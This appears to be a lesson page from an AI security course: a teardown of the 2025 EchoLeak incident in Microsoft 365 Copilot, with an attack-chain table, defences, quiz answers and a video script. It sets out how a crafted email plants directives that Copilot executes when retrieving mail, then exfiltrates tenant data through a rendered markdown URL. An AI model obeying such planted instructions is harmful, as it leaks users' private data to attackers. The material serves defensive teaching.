Skip to content

L8.6.1 — Case study teardown: a 2025 AI incident

Type: Theory · Duration: ~5 min · Status: Mandatory Module: Module 8 — AI Governance, Risk & Compliance Framework tags: OWASP LLM01, LLM08 · MITRE ATLAS AML.T0051.001 · NIST AI RMF Manage 4.1 · EU AI Act Article 73

Learning objectives

  1. Walk a real-world AI incident across the dimensions covered in M1–M7: attack chain, defensive posture, IR execution, post-incident actions.
  2. Identify what governance work would have changed the outcome.

Core content

The case: EchoLeak (Microsoft 365 Copilot, disclosed 2025)

We've referenced EchoLeak throughout the course as the canonical 2025 indirect prompt injection incident. This lesson walks it end-to-end as a teardown, applying everything from M1–M7.

The disclosure. In June 2025, Aim Security publicly disclosed a chain of vulnerabilities in Microsoft 365 Copilot that enabled zero-click data exfiltration from a user's tenant. By sending a crafted email to a target, an attacker could plant instructions Copilot would later execute when the user asked it to summarize recent emails or related queries. Microsoft patched the specific vector; the underlying class of attack remains an open problem.

The attack chain (mapped to course modules)

Stage What happened Course reference
Initial access Attacker sends crafted email to target's inbox Module 3 L3.2.2 (indirect-PI vector: email injection)
Payload placement Email contains instructions formatted to be parsed as agent directives by Copilot Module 3 L3.2.1 (architectural pattern)
Execution User asks Copilot a routine question; Copilot retrieves recent emails as context; injection rides in Module 3 L3.2.1 (retrieval-triggered execution)
Lateral capability Copilot's tools (Microsoft Graph access) allow data lookup across tenant Module 3 L3.4.1 (excessive agency)
Exfiltration Copilot renders a markdown response containing a crafted URL; rendering triggers data sent to attacker Module 3 L3.3.1 (insecure output handling)
Impact Tenant data exposed; user oblivious Module 7 L7.6.1 (incident response)

Five distinct OWASP LLM Top 10 categories in one chain: LLM01 (indirect PI), LLM08 (excessive agency), LLM02 (insecure output handling), LLM06 (info disclosure), and a touch of LLM05 (supply-chain to Copilot's dependencies).

What worked / what didn't

What worked for Microsoft post-disclosure: - Rapid response time (patch within days). - Public acknowledgment + advisory. - Documented post-incident analysis.

What didn't work pre-disclosure: - The architectural pattern (LLM consuming untrusted email content with tool access) was not protected by dual-LLM or equivalent quarantining of untrusted content. - The output renderer trusted Copilot output sufficiently to render markdown links that exfiltrated data. - Per-user query monitoring evidently didn't flag the unusual activity at scale. - Pre-launch red-team had not caught this specific chain (multiple-step indirect chains are hard to surface).

What governance work would have changed

The defensive posture from M7 + M8 applied to a hypothetical pre-EchoLeak Copilot:

Engineering (Module 7): - Dual-LLM pattern on email-content processing (L7.3.2) — quarantines untrusted email. - Output sanitization on markdown rendering (L7.3.2 / L3.3.1) — strips exfiltration URLs. - Authorization-aware tool calls (L3.4.2) — Microsoft Graph access requires intent-verified per call. - Per-tenant query monitoring (L5.4.2) — flags unusual data-access patterns.

Governance (Module 8): - Pre-launch red-team explicitly covering multi-step indirect chains (L7.5.1) — would have surfaced the chain class even if not the specific instance. - Risk register entry for "indirect PI via tenant data" with severity High (L8.1.1) — drives pre-launch gate prioritization. - Article 11 documentation describing the threat model (L8.2.2) — forces explicit consideration during deployment review. - EU AI Act Article 73 reporting on disclosure — Microsoft did this; the post-incident report is public.

Lessons for an AI security engineer

Three durable lessons:

1. Multi-step indirect chains evade single-defense focus. The chain succeeded because each stage individually passed local checks. Defense requires cross-stage thinking — pre-launch red-team plans must explicitly include chained attacks, not just single-step ones.

2. The "untrusted content reaches privileged LLM" pattern is the dominant 2026 risk class. Email assistants, agentic browsers, RAG over user-supplied content, document summarizers — all share this pattern. Dual-LLM quarantining is the architectural-pattern answer; deploy it before incidents force it.

3. Public post-incident reports are programmatic gold. Microsoft's published EchoLeak analysis lets the broader industry learn. As an AI security engineer, advocate for similar transparency at your org when incidents happen — it builds program credibility and contributes to collective defense.

The reading

The Aim Security disclosure + Microsoft's MSRC advisory are the primary sources. Both are public. Reading them before the L8.7 lab grounds the documentation exercise.

Real-world example

EchoLeak itself is the example. A subsequent (2025-2026) wave of disclosures against similar agentic AI products — including some non-Microsoft analogs — followed similar attack chains. The class is general.

Key terms

  • EchoLeak — June 2025 Microsoft 365 Copilot indirect-PI disclosure.
  • Multi-step indirect chain — attack succeeding through composition of stages each individually passing checks.
  • Cross-stage red-team — pre-launch testing covering chained attacks, not just single-step.

References

  • Aim Security EchoLeak disclosure (June 2025).
  • Microsoft MSRC advisory.
  • The course's M3 lessons on indirect PI (L3.2.1, L3.2.2), insecure output (L3.3.1), excessive agency (L3.4.1).

Quiz items

  1. Q: Name the five OWASP LLM Top 10 categories the EchoLeak chain traverses. A: LLM01 (indirect PI), LLM08 (excessive agency), LLM02 (insecure output handling), LLM06 (info disclosure), LLM05 (supply chain — partial, depends on framing).
  2. Q: What architectural pattern would have most likely prevented EchoLeak? A: Dual-LLM quarantining of untrusted email content — privileged LLM never sees raw email, only structured summaries from a quarantined LLM.
  3. Q: Name three durable lessons for an AI security engineer. A: Multi-step indirect chains evade single-defense focus (cross-stage red-team needed); the "untrusted content reaches privileged LLM" pattern is the dominant 2026 risk class (deploy dual-LLM); public post-incident reports are programmatic gold (advocate for transparency).

Video script (~600 words, ~4.5 min)

[SLIDE 1 — Title]

Case study teardown: EchoLeak, 2025. Five minutes.

[SLIDE 2 — The case]

We've referenced EchoLeak throughout the course as the canonical 2025 indirect prompt injection incident. This lesson walks it end-to-end as a teardown.

In June twenty-twenty-five, Aim Security publicly disclosed a chain of vulnerabilities in Microsoft 365 Copilot that enabled zero-click data exfiltration from a user's tenant. By sending a crafted email to a target, an attacker could plant instructions Copilot would later execute when the user asked it to summarize recent emails. Microsoft patched the specific vector. The underlying class of attack remains an open problem.

[SLIDE 3 — Attack chain]

Attack chain mapped to course modules. Initial access: attacker sends crafted email to target's inbox. Module 3 L3.2.2 — email-injection vector. Payload placement: email contains instructions formatted as agent directives. L3.2.1 — architectural pattern. Execution: user asks Copilot a routine question; Copilot retrieves recent emails as context; injection rides in. L3.2.1 — retrieval-triggered execution. Lateral capability: Copilot's Microsoft Graph access allows data lookup across tenant. L3.4.1 — excessive agency. Exfiltration: Copilot renders markdown response containing crafted URL; rendering triggers data sent to attacker. L3.3.1 — insecure output handling. Impact: tenant data exposed; user oblivious. Module 7 L7.6.1 — incident response.

Five distinct OWASP LLM Top 10 categories in one chain. LLM01, LLM08, LLM02, LLM06, touch of LLM05.

[SLIDE 4 — What worked / didn't]

What worked for Microsoft post-disclosure: rapid response time, patch within days; public acknowledgment and advisory; documented post-incident analysis.

What didn't work pre-disclosure: architectural pattern (LLM consuming untrusted email content with tool access) was not protected by dual-LLM or equivalent quarantining. Output renderer trusted Copilot output sufficiently to render markdown links that exfiltrated data. Per-user query monitoring evidently didn't flag the unusual activity. Pre-launch red-team had not caught this specific chain — multiple-step indirect chains are hard to surface.

[SLIDE 5 — What governance would have changed]

Defensive posture from M7 plus M8 applied to a hypothetical pre-EchoLeak Copilot. Engineering: dual-LLM pattern on email-content processing; output sanitization on markdown rendering; authorization-aware tool calls; per-tenant query monitoring. Governance: pre-launch red-team covering multi-step indirect chains; risk register entry for indirect PI via tenant data, severity High; Article 11 documentation describing the threat model; EU AI Act Article 73 reporting on disclosure.

[SLIDE 6 — Three durable lessons]

Three durable lessons for an AI security engineer. One: multi-step indirect chains evade single-defense focus. The chain succeeded because each stage individually passed local checks. Defense requires cross-stage thinking — pre-launch red-team plans must explicitly include chained attacks, not just single-step. Two: the "untrusted content reaches privileged LLM" pattern is the dominant 2026 risk class. Email assistants, agentic browsers, RAG over user-supplied content, document summarizers — all share this pattern. Dual-LLM quarantining is the architectural-pattern answer; deploy before incidents force it. Three: public post-incident reports are programmatic gold. Microsoft's published EchoLeak analysis lets the broader industry learn. Advocate for similar transparency at your org.

[SLIDE 7 — Up next]

All theory done. Lab L8.7 next. Author a model card plus risk assessment for the M1 RAG app. About 60 minutes. The Aim Security disclosure and Microsoft MSRC advisory are recommended pre-reading.

Slide outline

  1. Title — "Case study teardown: EchoLeak, 2025".
  2. The case — incident summary card + Aim Security logo + Microsoft logo.
  3. Attack chain — the six-stage table from lesson body, with module references.
  4. What worked / didn't — two-column list.
  5. What governance would have changed — engineering + governance split.
  6. Three durable lessons — three-card layout.
  7. Up next — "L8.7 lab next, ~60 min."

Production notes

  • Recording: ~4.5 min. Cap 5.
  • Slide 3 (the attack chain table) is the lesson's centerpiece — design for clarity.
  • Replace EchoLeak with a then-current 2026 incident if a more relevant one emerges before recording. Pattern transfers.